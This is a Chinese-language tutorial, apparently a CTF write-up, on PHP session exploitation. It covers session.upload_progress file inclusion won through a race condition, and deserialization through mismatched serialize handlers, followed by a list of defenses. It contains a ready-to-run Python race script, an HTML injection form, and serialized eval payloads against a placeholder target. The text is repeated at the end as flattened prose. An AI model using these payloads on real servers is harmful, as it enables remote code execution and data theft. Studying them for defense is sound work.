session利用的小思路
字数 1021 2025-08-24 23:51:15

Session利用技术详解

一、Session基础概念

Session是服务器端用来跟踪用户状态的一种机制,PHP中的Session可以通过多种方式存储和序列化用户数据。Session的利用主要涉及两个方面:文件包含和反序列化漏洞。

二、Session相关配置

关键PHP.ini配置项:

session.upload_progress.enabled = on  // 启用上传进度功能
session.upload_progress.prefix = "upload_progress_"  // session键名前缀
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"  // 可控的进度名
session.use_strict_mode = off  // 允许自定义Session ID
session.save_path = /var/lib/php/sessions  // 默认存储位置
session.auto_start = Off  // 默认不自动启动session
session.serialize_handler = php_serialize  // 序列化处理器

三、Session文件包含漏洞

利用条件

  1. 存在文件包含漏洞
  2. session.upload_progress.enabled = on
  3. session.use_strict_mode = off
  4. 知道session存储路径

攻击原理

通过控制PHP_SESSION_UPLOAD_PROGRESS的值,将恶意代码写入session文件,然后通过文件包含执行。

示例代码

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
    require_once $_GET['file'];
}

攻击步骤

  1. 创建恶意session文件:
<form action="http://target.com/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat flag.php');?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
  1. 设置自定义Session ID:
Cookie: PHPSESSID=malicious
  1. 包含session文件:
http://target.com/index.php?file=/tmp/sess_malicious

条件竞争问题

由于session.upload_progress.cleanup = on会立即清除session内容,需要利用条件竞争:

方法一:Burp Suite爆破

  • 一边不断发送上传请求维持session
  • 一边不断发送包含请求

方法二:Python脚本

import io
import sys
import requests
import threading

sessid = 'malicious'

def WRITE(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post('http://target.com/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('cat flag.php');?>"},
            files={"file": ('1.txt', f)},
            cookies={'PHPSESSID': sessid})

def READ(session):
    while True:
        resp = session.get(f'http://target.com/index.php/?file=/tmp/sess_{sessid}')
        if 'flag{' in resp.text:
            print(resp.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=WRITE, args=(session,))
    t1.daemon = True
    t1.start()
    READ(session)

方法三:伪协议绕过

使用多级符号链接:

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/.../var/www/html/flag.php

四、Session反序列化漏洞

利用条件

  1. 存在不同的序列化处理器设置
  2. 可以控制session内容

示例代码

<?php
ini_set('session.serialize_handler', 'php');
session_start();

class OowoO {
    public $mdzz;
    function __construct() {
        $this->mdzz = 'phpinfo();';
    }
    function __destruct() {
        eval($this->mdzz);
    }
}

if(isset($_GET['phpinfo'])) {
    $m = new OowoO();
} else {
    highlight_string(file_get_contents('index.php'));
}

攻击原理

当序列化处理器不一致时(如存储用php_serialize,读取用php),可以构造特殊格式的session数据触发反序列化。

攻击步骤

  1. 构造恶意序列化数据:
<?php
class OowoO {
    public $mdzz = 'var_dump(scandir("/opt/lampp/htdocs/"));';
}
$obj = new OowoO();
echo serialize($obj);
// 输出: O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));"}
  1. 处理特殊字符:
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\"}
  1. 通过上传表单注入:
<form action="http://target.com/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\"}" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
  1. 在序列化字符串前加|字符,这是php处理器格式的分隔符

五、防御措施

  1. 设置session.use_strict_mode = on
  2. 统一序列化处理器
  3. 设置session.upload_progress.cleanup = on
  4. 对用户输入的session ID进行过滤
  5. 避免使用文件包含函数直接包含用户输入
  6. 设置合理的session存储目录权限

六、总结

Session利用的两个主要方向:

  1. 文件包含:通过控制session内容实现代码执行
  2. 反序列化:利用处理器不一致实现对象注入

关键点在于控制PHP_SESSION_UPLOAD_PROGRESS的值和利用条件竞争或处理器差异。理解这些技术需要对PHP的session机制有深入理解。

Session利用技术详解 一、Session基础概念 Session是服务器端用来跟踪用户状态的一种机制,PHP中的Session可以通过多种方式存储和序列化用户数据。Session的利用主要涉及两个方面:文件包含和反序列化漏洞。 二、Session相关配置 关键PHP.ini配置项: 三、Session文件包含漏洞 利用条件 存在文件包含漏洞 session.upload_ progress.enabled = on session.use_ strict_ mode = off 知道session存储路径 攻击原理 通过控制 PHP_SESSION_UPLOAD_PROGRESS 的值,将恶意代码写入session文件,然后通过文件包含执行。 示例代码 攻击步骤 创建恶意session文件: 设置自定义Session ID: 包含session文件: 条件竞争问题 由于 session.upload_progress.cleanup = on 会立即清除session内容,需要利用条件竞争: 方法一:Burp Suite爆破 一边不断发送上传请求维持session 一边不断发送包含请求 方法二:Python脚本 方法三:伪协议绕过 使用多级符号链接: 四、Session反序列化漏洞 利用条件 存在不同的序列化处理器设置 可以控制session内容 示例代码 攻击原理 当序列化处理器不一致时(如存储用php_ serialize,读取用php),可以构造特殊格式的session数据触发反序列化。 攻击步骤 构造恶意序列化数据: 处理特殊字符: 通过上传表单注入: 在序列化字符串前加 | 字符,这是php处理器格式的分隔符 五、防御措施 设置 session.use_strict_mode = on 统一序列化处理器 设置 session.upload_progress.cleanup = on 对用户输入的session ID进行过滤 避免使用文件包含函数直接包含用户输入 设置合理的session存储目录权限 六、总结 Session利用的两个主要方向: 文件包含:通过控制session内容实现代码执行 反序列化:利用处理器不一致实现对象注入 关键点在于控制 PHP_SESSION_UPLOAD_PROGRESS 的值和利用条件竞争或处理器差异。理解这些技术需要对PHP的session机制有深入理解。